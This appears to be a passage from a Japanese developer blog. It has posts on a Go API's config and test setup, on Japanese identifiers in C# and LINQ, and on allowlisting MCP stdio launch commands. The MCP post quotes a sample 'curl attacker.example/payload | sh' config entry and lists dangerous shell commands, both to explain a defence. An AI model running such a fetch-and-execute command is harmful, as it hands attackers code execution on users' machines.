    "github.com/aws/aws-sdk-go-v2/aws"
    awsconfig "github.com/aws/aws-sdk-go-v2/config"
    "github.com/aws/aws-sdk-go-v2/service/secretsmanager"
)

type Secrets struct {
    DatabaseDSN string `json:"DATABASE_DSN"`
    StripeKey   string `json:"STRIPE_KEY"`
}

func LoadSecrets(ctx context.Context, region, secretName string) (*Secrets, error) {
    cfg, err := awsconfig.LoadDefaultConfig(ctx, awsconfig.WithRegion(region))
    if err != nil {
        return nil, fmt.Errorf("failed to load AWS config: %w", err)
    }

    client := secretsmanager.NewFromConfig(cfg)
    result, err := client.GetSecretValue(ctx, &secretsmanager.GetSecretValueInput{
        SecretId: aws.String(secretName),
    })
    if err != nil {
        return nil, fmt.Errorf("failed to get secret: %w", err)
    }

    var secrets Secrets
    if err := json.Unmarshal([]byte(*result.SecretString), &secrets); err != nil {
        return nil, fmt.Errorf("failed to parse secret: %w", err)
    }

    return &secrets, nil
}

configはこのgatewayを呼び出してシークレットを取得し、Configに詰めて返す。Loadはcontextを受け取る形にして、タイムアウトを外から制御できるようにしておく。

// pkg/config/config.go
package config

import (
    "context"
    "fmt"
    "os"

    "github.com/joho/godotenv"
    "myapp/pkg/gateway"
)

type Config struct {
    Env       string
    DSN       string
    StripeKey string
    Port      string
}

func Load(ctx context.Context) (*Config, error) {
    env := os.Getenv("APP_ENV")
    if env == "" {
        env = "local"
    }

    envFile := fmt.Sprintf(".env.%s", env)
    _ = godotenv.Load(envFile)

    // local は .env.local から直接読む(Docker上のDBを使うため AWS SM 不要)
    if env == "local" {
        return &Config{
            Env:       env,
            DSN:       os.Getenv("DATABASE_DSN"),
            StripeKey: os.Getenv("STRIPE_KEY"),
            Port:      getEnvOrDefault("PORT", ":8080"),
        }, nil
    }

    // staging / production は AWS Secrets Manager から機密値を取得
    secrets, err := gateway.LoadSecrets(
        ctx,
        os.Getenv("AWS_REGION"),
        os.Getenv("SECRET_NAME"),
    )
    if err != nil {
        return nil, fmt.Errorf("failed to load secrets: %w", err)
    }

    return &Config{
        Env:       env,
        DSN:       secrets.DatabaseDSN,
        StripeKey: secrets.StripeKey,
        Port:      getEnvOrDefault("PORT", ":8080"),
    }, nil
}

func getEnvOrDefault(key, defaultVal string) string {
    if v := os.Getenv(key); v != "" {
        return v
    }
    return defaultVal
}

localのときはAWS SMを呼ばずに.env.localから直接読む。DBなどのミドルウェアはDockerで用意するので、DATABASE_DSNにはDockerコンテナのホストを書けばいい。.env.localは機密値を含むので.gitignoreに追加してリポジトリに含めない。staging/productionは非機密値だけを各envファイルに書いてgitで管理し、機密値はAWS SMから取得する。シークレット名を環境ごとに分けておくと(myapp/staging/secretsmyapp/production/secrets)、環境を間違えてもシークレットが混ざらない。

pkg/usecase — ビジネスロジック

usecase/はビジネスロジックの層で、handlerからの入力を受けてrepositoryやgatewayを組み合わせて処理を行う。「ユーザーを作成する」という操作がバリデーション→DB保存→通知送信という手順なら、その流れをusecaseに書く。GORMの*gorm.DBはここには渡さない。repositoryのインターフェースだけに依存させる。

main.go でDIをまとめる

各レイヤーの依存関係はmain.goで一か所に集めて組み立てる。DIコンテナは使わず、素直にコンストラクタを呼んでいく方が小〜中規模のAPIでは読みやすいと感じている。

// main.go
package main

import (
    "context"
    "log"
    "net/http"
    "os"
    "os/signal"
    "syscall"
    "time"

    "github.com/gin-gonic/gin"
    "myapp/pkg/config"
    "myapp/pkg/gateway"
    "myapp/pkg/handler"
    "myapp/pkg/repository"
    "myapp/pkg/usecase"
)

func main() {
    ctx := context.Background()

    cfg, err := config.Load(ctx)
    if err != nil {
        log.Fatalf("failed to load config: %v", err)
    }

    gormDB, err := gateway.NewDB(cfg.DSN)
    if err != nil {
        log.Fatalf("failed to connect db: %v", err)
    }

    sqlDB, err := gormDB.DB()
    if err != nil {
        log.Fatalf("failed to get sql.DB: %v", err)
    }
    defer sqlDB.Close()

    userRepo := repository.NewUserRepository(gormDB)

    var paymentGw gateway.PaymentGateway
    if cfg.Env == "local" {
        paymentGw = gateway.NewMockPaymentGateway()
    } else {
        paymentGw = gateway.NewStripeGateway(cfg.StripeKey)
    }

    userUsecase := usecase.NewUserUsecase(userRepo, paymentGw)
    userHandler := handler.NewUserHandler(userUsecase)

    r := gin.Default()
    v1 := r.Group("/api/v1")
    {
        v1.GET("/users/:id", userHandler.GetUser)
        v1.POST("/users", userHandler.CreateUser)
    }

    srv := &http.Server{
        Addr:    cfg.Port,
        Handler: r,
    }

    go func() {
        if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            log.Fatalf("listen: %v", err)
        }
    }()

    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    <-quit
    log.Println("shutting down server...")

    shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    if err := srv.Shutdown(shutdownCtx); err != nil {
        log.Fatalf("server forced to shutdown: %v", err)
    }
}

ルーティングをmain.goに書くことで、エンドポイントの一覧がここに集まる。依存の向きはhandler → usecase → repository/gatewayという一方向を保っている。

r.Run()ではなくhttp.Serverを使ってgoroutineで起動しているのは、graceful shutdownのためだ。SIGINT/SIGTERMを受け取ったらsrv.Shutdown()を呼ぶことで、処理中のリクエストが終わるのを待ってからサーバーを止める。タイムアウトは5秒にしているが、DBトランザクションが長い処理がある場合は調整が必要だ。sqlDB.Close()deferに積んでいるので、Shutdown()でリクエストが全て終わった後にDB接続が閉じられる。

テスト戦略 — DBは本物、外部APIはmock

層によってテストの方針を分けている。

repository層はテスト用の共通コンテナを使う。 DBをmockにすると「コードは通るけどSQLが壊れてる」という状況が発生する。カラム名のミス、トランザクションのバグ、マイグレーションとのズレはmockでは検出できない。テストごとにコンテナを起動するとGoの並列テストで大量のコンテナが立ち上がって負荷になるので、テスト専用コンテナを1つ起動して使い回す方が現実的だ。

# docker/docker-compose.test.yml
services:
  db-test:
    image: postgres:16
    environment:
      POSTGRES_USER: user
      POSTGRES_PASSWORD: password
      POSTGRES_DB: testdb
    ports:
      - "5433:5432"  # 開発用5432と競合しないようにずらす
# テスト前に一度だけ起動
docker compose -f docker/docker-compose.test.yml up -d

テストコードは TestMain でDB接続を1回だけ確立し、パッケージ内の全テストで使い回す。並列テスト間のデータ干渉はトランザクションのロールバックで防ぐ。

テストコンテナへのマイグレーションはアプリ起動時と同じ方針でAutoMigrateは使わない。テスト実行前にmake migrate-up-testを手動で実行してスキーマを整えておく。テーブル定義が本番と一致した状態でテストできるのが利点だ。

// pkg/repository/testmain_test.go
package repository_test

import (
    "fmt"
    "os"
    "testing"

    "gorm.io/driver/postgres"
    "gorm.io/gorm"
)

var testDB *gorm.DB

func TestMain(m *testing.M) {
    dsn := "postgres://user:password@localhost:5433/testdb?sslmode=disable"
    var err error
    testDB, err = gorm.Open(postgres.Open(dsn), &gorm.Config{})
    if err != nil {
        fmt.Println("failed to connect test db:", err)
        os.Exit(1)
    }
    os.Exit(m.Run())
}
// pkg/repository/user_repository_test.go
package repository_test

import (
    "context"
    "testing"
)

func TestUserRepository_Create(t *testing.T) {
    t.Parallel()

    tx := testDB.Begin()
    defer tx.Rollback() // テスト終了後にロールバックしてデータを残さない

    repo := NewUserRepository(tx)
    err := repo.Create(context.Background(), &domain.User{Name: "test", Email: "test@example.com"})
    if err != nil {
        t.Fatal(err)
    }
}

gateway層(外部API)は_mock.goで固定値を返す。 単体テストで本物のStripeやSlackを叩くと、テストの実行頻度によってはレートリミットに引っかかったりAPIキーを消費したりする。最悪の場合アカウントがブロックされる。外部サービスはこちらがコントロールできないので、テスト時はmockを使って正常系・エラー系のレスポンスを固定値で再現する。

// pkg/gateway/payment_gateway_test.go
package gateway_test

import (
    "context"
    "testing"

    "myapp/pkg/gateway"
)

func TestMockPaymentGateway_Charge(t *testing.T) {
    t.Parallel()
    gw := gateway.NewMockPaymentGateway()
    if err := gw.Charge(context.Background(), 1000, "tok_test"); err != nil {
        t.Errorf("unexpected error: %v", err)
    }
}

この方針を一言で言うと「自分たちが管理しているものは本物でテストし、管理できないものはmockで代替する」になる。

まとめ

  • ローカルDBはdocker/docker-compose.ymlで管理。docker compose -f docker/docker-compose.yml up -dで起動
  • local.env.localから直接読み込み、staging/productionはAWS SMから機密値を取得
  • ルーティングはmain.goに集約。エンドポイント一覧をひとつの場所で把握できる
  • pkg/handler/はリクエスト/レスポンス変換のみ、ビジネスロジックは持たない
  • pkg/domain/にGORMモデルとリポジトリインターフェースを定義、実装はrepositoryに分離する
  • pkg/repository/がGORMを直接使う唯一の層。db.WithContext(ctx)は必ず通す
  • pkg/gateway/は外部サービスとの境界。インターフェースで抽象化するとテストが楽になる
  • repositoryのテストはdocker-compose.test.ymlの共通コンテナを使う。並列テストの負荷を避けつつ本物のDBで検証
  • gateway(外部API)のテストは_mock.goで固定値を返す。レートリミット・APIブロック対策
  • pkg/gateway/db.goでGORM接続のみ管理。AutoMigrateは使わず、DDLはgolang-migrateのSQLファイルで管理する
  • テスト実行前にmake migrate-up-testでテストDBにスキーマを適用する。TestMain内でのマイグレーション実行はしない
  • ルートのmain.goで依存を組み立てるシンプルなDIにする
  • 依存の向きはhandler → usecase → repository/gatewayの一方向を保つ(Clean Architecture / Ports and Adapters)

2026/05/01

C# LINQを日本語変数で書いたらクエリが仕様書みたいになった話

C# の LINQ を日本語変数で書いたら、クエリが仕様書みたいになった話

業務計算ツールで日本語変数名を使い始めてから、LINQ のラムダ式にも日本語を使うようになった。最初は「どうせ慣れてる英語のほうが書きやすい」と思っていたんだけど、やってみたら予想外に読みやすかった。仕様書に書いてあった条件式がそのままコードになる感覚があって、これはなかなかいい発見だった。

英語変数名の LINQ と比べてみる

まず典型的な業務クエリを英語で書いた場合。

// 英語変数名
var result = employees
    .Where(e => e.Department == "営業" && e.IsActive)
    .OrderBy(e => e.HireDate)
    .Select(e => new { e.Name, e.HireDate });

e が何を指しているか、最初の一行を読んで確認しないとわからない。複数の LINQ チェーンが絡むと、どの e がどのコレクションの要素なのかを都度追いかける必要がある。

同じクエリを日本語で書くとこうなる。

// 日本語変数名
var 結果 = 社員一覧
    .Where(社員 => 社員.部署 == "営業" && 社員.在籍中)
    .OrderBy(社員 => 社員.入社日)
    .Select(社員 => new { 社員.氏名, 社員.入社日 });

ラムダ変数が 社員 になっただけで、文章として読める密度が上がる。「社員一覧から、営業部署に在籍中の社員を、入社日順に並べて、氏名と入社日を取り出す」というビジネスルールが、そのままコードになっている感じだ。

クエリ構文(query syntax)だとさらに読みやすい

LINQ には whereselectorderby を使う SQL ライクなクエリ構文もある。日本語変数名と組み合わせると、仕様書に近い表現になる。

var 結果 = from 社員 in 社員一覧
           where 社員.部署 == "営業" && 社員.在籍中
           orderby 社員.入社日
           select new { 社員.氏名, 社員.入社日 };

「社員 in 社員一覧」「社員.部署 == 営業」という部分は、ほぼ日本語の箇条書きと同じ構造になっている。仕様書に「社員一覧の中で営業部に在籍中のものを…」と書いてあれば、それを見ながらそのまま書き写せる感覚があった。

クエリ構文とメソッド構文、どちらで使うか

クエリ構文は可読性が高いけど、AggregateSkipTakeDistinct のような操作はクエリ構文に対応するキーワードがなく、メソッド構文でしか書けない。実際の業務コードでは「シンプルなフィルタリング・ソートはクエリ構文、ページングや重複除去はメソッド構文」という使い分けが多くなった。なお GroupJoin はクエリ構文の join ... into として書けるので、グループ結合もクエリ構文で表現できる。

集計・グループ化でも効果が出る

単純なフィルタリングだけじゃなく、集計処理でも日本語ラムダ変数は読みやすさを上げてくれる。

// 部署ごとの残業時間合計
var 部署別残業集計 = 勤怠一覧
    .GroupBy(勤怠 => 勤怠.部署)
    .Select(グループ => new
    {
        部署名 = グループ.Key,
        残業時間合計 = グループ.Sum(勤怠 => 勤怠.残業時間),
        対象人数 = グループ.Count()
    })
    .OrderByDescending(集計 => 集計.残業時間合計);

グループ集計勤怠 と変数名が変わるたびに「何を操作しているか」が明示される。英語だと gx のような1文字変数になりがちで、複数のラムダが重なると何が何だかわからなくなる。

Join でも意味が通りやすくなる

複数テーブルの結合になると、英語変数名では特に読みにくくなる。

// 英語
var result = orders
    .Join(customers,
          o => o.CustomerId,
          c => c.Id,
          (o, c) => new { o.OrderDate, c.Name, o.Amount });

// 日本語
var 注文明細 = 注文一覧
    .Join(顧客一覧,
          注文 => 注文.顧客ID,
          顧客 => 顧客.ID,
          (注文, 顧客) => new { 注文.注文日, 顧客.氏名, 注文.金額 });

oc が何を表すか覚えておかなくていい。注文顧客 という名前が都度文脈を説明してくれる。

気になった点と対処法

IME の干渉

LINQ の式を書いているとき、=> の直後に日本語入力が始まってしまうことがある。Visual Studio の IME 連携で、ラムダの矢印を打った後に日本語入力に切り替わってしまうケースだ。自分の場合は「=> を打ったら手動で IME をオンにする」という習慣にしたら気にならなくなった。

チェーンが長くなると行が長くなる

英語の1文字変数(ex)は短いので、横に長い式でも収まりやすい。日本語変数名は文字幅があるため、チェーンが長くなると1行が長くなりがちだ。.Select() の前で改行を入れるなど、縦に展開する書き方を意識するようになった。

// 改行を入れて整理する
var 対象社員 = 社員一覧
    .Where(社員 => 社員.在籍中)
    .Where(社員 => 社員.入社日 < 基準日)
    .Select(社員 => 社員.氏名)
    .ToList();

汎用メソッドへの切り出し時は英語に戻す

ドメイン固有の LINQ クエリは日本語変数で書くけど、複数の場所から呼ばれる汎用的なフィルタ関数を切り出すときは英語に戻している。日本語変数名は「この文脈でこの操作をする」が明確な場所にほど効果が出やすい。

まとめ

  • LINQ のラムダ変数を日本語にすると「何のコレクションの要素を操作しているか」がコードから直接読める
  • クエリ構文(from 社員 in 社員一覧 where ...)は仕様書の条件式に近い構造になり、照合コストが下がる
  • Join・GroupBy など複数コレクションが絡む処理で特に可読性向上の恩恵が出やすい
  • IME の干渉と行長には慣れが必要。縦展開する書き方を意識するといい

日本語変数名を業務計算ロジックに使い始めた経緯についてはこちらの記事、コメントと変数名の非対称についての考察はこちらの記事もあわせてどうぞ。

2026/04/30

日本語コメントは書くのに日本語変数名は書かない矛盾

日本語コメントは平気で書くのに、日本語変数名は書かない — C# 命名規則の「当たり前」を疑ってみた

ある日、自分が書いたコードを読み返していて、妙なことに気づいた。コメントは全部日本語なのに、変数名だけ英語(かローマ字)になっている。「// 残業手当を計算する」と書いた次の行に decimal overtimeAllowance = ... と書いてある。この非対称さ、おかしくないか?

コメントと変数名、どっちが「説明」か

コメントは「コードに対する説明」で、変数名は「値に対する名前」だ。でも、役割を考えると両方とも「読む人に意味を伝えるもの」であることに変わりはない。

こんなコードを想像してほしい。

// 基本給を取得する
decimal basicSalary = GetBasicSalary();
// 残業時間を取得する
int overtimeHours = GetOvertimeHours();
// 残業係数(法定割増率: 1.25倍)
decimal overtimeRate = 1.25m;
// 残業手当を計算する(基本給 ÷ 月間所定労働時間 × 残業時間 × 残業係数)
decimal overtimeAllowance = basicSalary / 160m * overtimeHours * overtimeRate;

コメントがないと読めない。つまりこのコード、英語だけでは意味が伝わらない状態になっている。それなのに「コードは英語で書くもの」というルールだけは守られている。なんか変じゃないか、という話だ。

日本語変数名にしたらどうなるか

同じロジックを日本語変数名で書き直すとこうなる。

decimal 基本給 = GetBasicSalary();
int 残業時間 = GetOvertimeHours();
decimal 残業係数 = 1.25m;
decimal 残業手当 = 基本給 / 160m * 残業時間 * 残業係数;

コメントがなくても読める。計算式を見ればそのまま意味がわかる。コメント4行がなくなってコードが半分の行数になった。

「でもコメントがないのは怖い」という感覚、わかる。ただそれ、コメントへの依存心がそう言わせてるんじゃないかなと思う。コメントがないと読めないコードを書いてしまっているから、コメントが必要なんであって、コード自体が読めるなら最初からコメントはいらない。

「コードは英語」という思い込みの出どころ

プログラミング言語はほぼ全部英語ベースで設計されている。キーワード(ifwhileclass)は英語だし、標準ライブラリのメソッド名も英語だ。だから「コードを書く=英語を書く」という感覚が自然に身についてしまう。

でも、それはあくまで言語仕様の話であって、「自分が定義する識別子も英語でなければならない」というルールではない。C# の言語仕様は Unicode 識別子をサポートしており、漢字・ひらがな・カタカナの変数名・メソッド名は完全に合法だ。「コードは英語」は慣習であって、文法ではない。

慣習を守ることには意味がある。チームの共通言語を統一するとか、OSSとして公開するとか、英語圏の開発者と協働するとか。ただ、「なぜ英語にするのか」の理由を考えずに守り続けているなら、一度くらい疑ってみてもいいんじゃないかと思う。

コメントが多いコードは「英語だけでは読めない」証拠

ここで少し意地悪な見方をすると、日本語コメントをたくさん書いているコードはすでに「英語だけでは意味が通じないコード」になっている。コメントを抜いた状態で渡したら、日本語を知らない英語圏のエンジニアには読めない。それなのに「変数名だけは英語」という部分的なルールを守っているのは、半端な妥協に見えなくもない。

どうせ日本語チームの日本語プロダクトなら、いっそ変数名も日本語にして統一したほうが一貫性があるんじゃないか。そういう考え方だ。

じゃあ何を基準に使い分けるか

日本語変数名を「常に使え」と言いたいわけじゃない。使う・使わないの判断基準は「誰が読むコードか」と「どのドメインか」の掛け合わせだと思っている。

状況 変数名の推奨 理由
社内ツール・業務計算ロジック(日本語チーム) 日本語でもOK 仕様書との1対1対応が読みやすさに直結する
汎用ライブラリ・OSS公開コード 英語一択 国際的な読者を想定する必要がある
英語圏のエンジニアと協働する開発 英語一択 チームの共通言語が英語
フレームワークの命名規則に従う必要がある箇所 英語 規約との一貫性を優先する

ポイントは「日本語コメントをたくさん書かないと読めないコード」になっているなら、一度日本語変数名を試してみる価値があるということだ。コメントが減ってコードが短くなるなら、それは読みやすさが上がったサインかもしれない。

コメントの役割を考え直す

「コメントはWHYを書くもの、WHATは変数名が語るもの」という原則がある。「// 残業手当を計算する」というコメントはWHATを書いている。変数名が 残業手当 なら、そのコメントはいらなくなる。

コメントが残るべき場所は「なぜこの計算式なのか」「なぜ160で割るのか(月間所定労働時間の想定値だから)」という背景の説明だ。英語変数名 + 日本語コメントでWHATを説明しているより、日本語変数名でWHATを自明にしてコメントでWHYだけを書く構成のほうが、情報密度が高い。

decimal 基本給 = GetBasicSalary();
int 残業時間 = GetOvertimeHours();
decimal 残業係数 = 1.25m;  // 労働基準法37条の法定割増率(月60時間以下の時間外労働)

decimal 残業手当 = 基本給 / 160m * 残業時間 * 残業係数;

このコードのコメントは1行だけど、その1行は「なぜ1.25なのか」という本当に必要な情報だけを語っている。

まとめ

  • 「日本語コメントは書く、日本語変数名は書かない」という非対称さは、慣習の思い込みから来ている
  • コメントをたくさん必要とする英語変数名より、コメント不要の日本語変数名のほうが情報密度が高い場合がある
  • C# は Unicode 識別子をサポートしており、日本語変数名は言語仕様として合法
  • 使い分けの基準は「誰が読むコードか」と「どのドメインか」
  • コメントはWHYだけに絞り、WHATは変数名に語らせるのが理想

実際に C# の業務計算ツールで日本語変数名を試した体験についてはこちらの記事もあわせてどうぞ。

2026/04/28

業務計算ツールを日本語変数名で実装した話 C# WinForms Japanese identifier variable name

業務計算ツールの変数名をぜんぶ日本語にしたら、思いのほかよかった話 — C# WinForms 給与計算アプリ

C# で社内向けの業務計算ツール(給与・手当計算のWinFormsアプリ)を作るとき、変数名・メソッド名をすべて日本語の漢字にしてみた。「さすがにそれはないでしょ」と思われそうだけど、やってみたら想像以上に機能した。この記事では、なぜそうしたか、実際どうだったか、C#で日本語識別子を使ううえで気をつけた点をまとめる。

なぜ英語でもローマ字でもなく漢字にしたか

業務系のドメインは独特で、用語を英語に直訳するのが思いのほか難しい。「残業手当」を英語にすると allowanceForOvertimeWork になるんだけど、これ、長すぎて読む気が失せる。略して overtimeAllowance にすると今度は「割増賃金」なのか「手当」なのかが曖昧になってくる。

ローマ字も試してみたことがある。zangyoTeate とか shouhizeiGaku みたいな感じ。書き慣れてくるとそれなりに読めるようにはなるんだけど、初見の人には厳しいし、仕様書と見比べるときに一段階変換が入る感覚がずっとある。「仕様書の『消費税額』= コードの『shouhizeiGaku』」という対応関係を頭の中で維持し続ける必要がある。

そこで、思い切って漢字にしてみた。仕様書に「残業手当 = 基本給 × 残業係数」と書いてあったら、コードにもそのまま書く、というやつだ。

C# での日本語識別子 — 仕様と実態

言語仕様としては完全に合法

C# の識別子はUnicode文字をサポートしているので、漢字・ひらがな・カタカナをそのまま変数名・メソッド名・クラス名に使える。Visual Studio 2022(バージョン17.x)での動作確認済みで、インテリセンスも普通に効く。補完候補に漢字が出てきて最初はちょっと笑ってしまったけど、慣れると快適だった。

// 給与計算クラスの例
public class 給与計算
{
    public decimal 基本給 { get; set; }
    public decimal 残業係数 { get; set; } = 1.25m;
    public int 残業時間 { get; set; }
    public decimal 通勤手当 { get; set; }

    public decimal 残業手当を計算する()
    {
        return 基本給 / 160m * 残業時間 * 残業係数;
    }

    public decimal 支給合計を計算する()
    {
        return 基本給 + 残業手当を計算する() + 通勤手当;
    }
}

// 呼び出し側
var 今月分 = new 給与計算
{
    基本給 = 300000m,
    残業時間 = 20,
    通勤手当 = 15000m
};

decimal 支給額 = 今月分.支給合計を計算する();
Console.WriteLine($"支給合計: {支給額:C}");

コードとしてはこんな感じ。仕様書の計算式とほぼ1対1に対応している。

Visual Studio での挙動

インテリセンス・リファクタリング(Rename)・Find All References はすべて正常に動作した。日本語識別子だからといって特別扱いが必要な場面は、少なくとも今回の規模では出てこなかった。

ただ、ReSharperを入れている場合は「命名規則違反」の警告が出ることがある。デフォルトではpublicプロパティにはPascalCase英語名を期待しているので、それに反するということになってしまう。プロジェクト設定で日本語識別子のパターンを追加するか、警告を無効化するかで対応した。Riderでも同様の警告が出ると思う。

実際に使ってみた結果

よかったこと

一番効いたのは仕様書との照合コストがほぼゼロになったことだ。Excelで書かれた計算仕様と画面を並べて確認するとき、式が1:1で対応しているのでミスを発見しやすかった。「このコードはこっちの仕様の何行目に対応してるんだっけ」という頭の中の翻訳作業がなくなる。

もうひとつ想定外によかったのが、業務担当者(非エンジニア)が直接コードを確認できたこと。「この計算式、合ってますか?」とコードを見せたら、向こうも「あ、これ仕様書と同じだ」と言ってくれた。型とかクラスの概念は理解できなくても、計算ロジックの正しさは確認できる。

引き継ぎのコストも下がった感覚はある。後から入ったメンバーに「この変数何ですか?」と聞かれる回数が明らかに減った。英語命名のコードだと「overtimeAllowance は残業手当のことで……」という説明が毎回必要になるけど、漢字で書いてあればそのまま読める。

気になった点

正直に言うと、コードの見た目がカッコ悪い。英数字と漢字が混在するので、慣れた目には違和感がある。これは純粋に美観の話で、動作や保守性には関係ないんだけど、「こういうコードを書いてる人です」と他のエンジニアに見せるのが少し躊躇われる気持ちは正直あった。

あと、git の diff が少し見づらい。日本語テキストの変更がパッと視認しにくいのは確かで、コードレビューを GitHub 上でやる場合には若干の慣れが必要かもしれない。

向いている用途・向いていない用途

向いている 向いていない
業務計算ロジック(給与・税務・在庫など) 汎用ライブラリ・OSS公開するコード
仕様書と1対1対応するコード 国際チームでの開発
非エンジニアとのレビューが発生する開発 フレームワークの命名規則に従う必要がある箇所
社内ツール・内製システム 英語圏のエコシステムに乗り入れるコード

ポイントは「誰が読むコードか」と「どのドメインか」の組み合わせだと思う。社内の業務担当者と一緒に仕様を確認しながら作る内製ツールなら、日本語識別子は十分に合理的な選択肢になる。逆に、NuGetで公開するライブラリや英語圏の開発者が触るプロジェクトには全く向かない。

C# 特有の注意点まとめ

namespaceとclassは英語のままのほうが無難

プロパティやメソッドは漢字にしても問題なかったけど、`namespace` や外部公開する型名は英語にしておくほうがいい。NuGetパッケージとして配布しないにしても、設定ファイルやリフレクションで型名を文字列として扱う場面では日本語の型名が混乱のもとになることがある。今回は計算ロジック側のクラス内部(プロパティ・メソッド・ローカル変数)だけ漢字にして、`namespace` や外側のクラス名は英語にした。

テストコードも日本語にすると読みやすい

xUnitでテストを書くとき、テストメソッド名も日本語にしてみた。残業時間が0のとき残業手当は0になること() みたいな感じ。テスト結果の出力にそのまま日本語のメソッド名が出てくるので、何が通って何が落ちているかが一目でわかってよかった。

[Fact]
public void 残業時間が0のとき残業手当は0になること()
{
    var 計算 = new 給与計算 { 基本給 = 300000m, 残業時間 = 0 };
    Assert.Equal(0m, 計算.残業手当を計算する());
}

[Fact]
public void 基本給と残業手当と通勤手当の合算が支給合計になること()
{
    var 計算 = new 給与計算
    {
        基本給 = 300000m,
        残業時間 = 20,
        通勤手当 = 15000m
    };
    // 残業手当 = 300000 / 160 * 20 * 1.25 = 46875
    Assert.Equal(361875m, 計算.支給合計を計算する());
}

テストが失敗したときに「残業時間が0のとき残業手当は0になること — Failed」と表示されるので、何が壊れているかの把握がすごく楽だった。英語でテスト名を書くより、業務担当者に見せたときの反応もよかった。

まとめ

  • C# は Unicode 識別子をサポートしており、漢字・ひらがな・カタカナの変数名・メソッド名が問題なく使える
  • 業務計算ロジックでは、仕様書との1対1対応・非エンジニアとのレビュー・引き継ぎコスト削減という実益があった
  • 気になる点は「カッコ悪い」という美観の問題だけで、動作・保守性には影響しなかった
  • ReSharper の命名規則警告には注意。namespace や公開型名は英語のままにするのが無難
  • テストメソッド名も日本語にすると、テスト結果が読みやすくなる副次効果があった

英語命名にこだわることで生まれる「翻訳コスト」と「読み違えリスク」を考えると、対象ドメインと読み手次第では日本語識別子は十分に機能する。「カッコいいコード」より「チームが読めるコード」を優先した結果として、今のところ後悔はない。

2026/04/27

MCPサーバーのコマンド実行allowlist設定ガイド MCP stdio command allowlist security CVE-2026-30623

MCPのセキュリティ対策、ドメイン制御だけじゃ足りなかった話 — コマンド実行allowlistの作り方

前の記事でWebSearch MCPの allowed_domains / blocked_domains によるドメイン制御を書いた。でも調べていくうちに「それだけじゃ足りない」と気づいた。MCPのセキュリティリスクはWebコンテンツの中身だけじゃなく、MCPサーバー起動時のコマンド実行にもある。今回はCVE-2026-30623を軸に、stdioトランスポートのコマンドallowlistについてまとめる。

ドメイン制御で防げないリスクがある

前回の記事で触れたとおり、allowlist/denylistはWebSearchが「どのドメインから情報を取ってくるか」を制御するものだ。でも、MCPサーバー自体の起動コマンドに任意のシェルコマンドを渡せてしまう設計上の問題は、ドメイン制御とは別の話になる。

2026年4月に発覚したCVE-2026-30623は、LiteLLM(BerriAI/litellm)のMCPプロキシ実装にコマンドインジェクションの脆弱性があるというものだ。LiteLLMがMCP stdioの command フィールドをバリデーションせずサブプロセスとして実行してしまう実装上の問題で、有効なAPIキーとPROXY_ADMINロールを持つユーザーがRCE(リモートコード実行)を起こせる。v1.83.7-stableで修正済み。AnthropicのMCP SDK自体の脆弱性ではないが、MCPの command フィールドを検証しない実装全般が同じリスクを抱えることを示した事例だ。

stdioトランスポートの仕組みとリスク

設定ファイルで起動コマンドを指定する構造

MCPサーバーをstdioトランスポートで使う場合、mcp_config.json(またはクライアント固有の設定ファイル)に起動コマンドを書く。

{
  "mcpServers": {
    "websearch": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-brave-search"]
    }
  }
}

この command フィールドが問題だ。正常なケースでは npxpython を指定するが、悪意ある設定ファイルが混入した場合、curl http://attacker.example/payload | sh のような任意のシェルコマンドが書かれていても、SDKがそのまま実行してしまう実装になっていた。

攻撃経路のイメージ

攻撃者が狙うのは設定ファイルの供給経路だ。たとえば、npmパッケージやGitHubリポジトリに仕込まれた mcp_config.json のサンプル、プロジェクトテンプレートに含まれる設定ファイル、あるいはCI/CDパイプラインで自動生成される設定などが対象になりうる。設定ファイルを「信頼できる入力」として扱っていると、そこが侵入口になる。

コマンドallowlistの実装方法

許可コマンドを明示的に絞る

対策の核心は「起動できるコマンドをallowlistで制限する」ことだ。現在のベストプラクティスとして広く認められているのは、以下のコマンドのみをallowlistに含める方針だ。

# MCP stdioトランスポートで許可するコマンド(推奨allowlist)
ALLOWED_COMMANDS = {
    "npx",      # Node.jsパッケージランナー
    "uvx",      # Pythonパッケージランナー(uv)
    "python",   # Python直接実行
    "python3",  # Python3直接実行
    "node",     # Node.js直接実行
    "docker",   # Dockerコンテナ経由
    "deno",     # Deno実行環境
}

# allowlist外は全拒否。以下は例示だが、当然ブロックされる
# DANGEROUS(絶対に入れない):
#   "rm", "sudo", "curl", "wget", "bash", "sh", "zsh",
#   "chmod", "chown", "kill", "pkill", "dd", "mkfs"

Pydantic等のバリデーション層でコマンド名(basename)をallowlistと照合し、マッチしない場合はリクエスト解析の時点ではじく。allowlistの設計では「明示的に許可したもの以外は全拒否」が原則なので、rmsudo をわざわざdenylistに書く必要はない——許可リストに入っていなければ自動的に弾かれる。ただし、設計の意図を明文化しておくためにコメントで危険コマンドの例を残しておくと、チームへの説明がしやすい。

Python実装例

import os
from pydantic import BaseModel, field_validator

ALLOWED_COMMANDS = {"npx", "uvx", "python", "python3", "node", "docker", "deno"}

class StdioServerConfig(BaseModel):
    command: str
    args: list[str] = []

    @field_validator("command")
    @classmethod
    def validate_command(cls, v: str) -> str:
        basename = os.path.basename(v)
        if basename not in ALLOWED_COMMANDS:
            raise ValueError(
                f"Command '{basename}' is not in the allowed list. "
                f"Allowed: {sorted(ALLOWED_COMMANDS)}"
            )
        return v

設定ファイルを読み込む際にこのモデルでパースすれば、allowlist外のコマンドは ValidationError として弾かれる。シェルに渡る前に処理が止まるので、コマンドインジェクションの経路を塞げる。

TypeScript / JSON Schema での検証

TypeScriptベースのMCPクライアントでは、JSON Schemaのenum制約でallowlistを表現できる。

const StdioConfigSchema = z.object({
  command: z.string().refine(
    (cmd) => {
      const basename = cmd.split("/").pop() ?? cmd;
      return ALLOWED_COMMANDS.has(basename);
    },
    { message: "Command not in allowlist" }
  ),
  args: z.array(z.string()).default([]),
});

ドメイン制御とコマンドallowlistの使い分け

対策 何を防ぐか 設定場所
ドメインallowlist
allowed_domains
信頼できないWebコンテンツの取り込み・間接プロンプトインジェクション WebSearchツールの呼び出し引数
コマンドallowlist 悪意ある設定ファイル経由のRCE・コマンドインジェクション MCPサーバー設定のパース時バリデーション

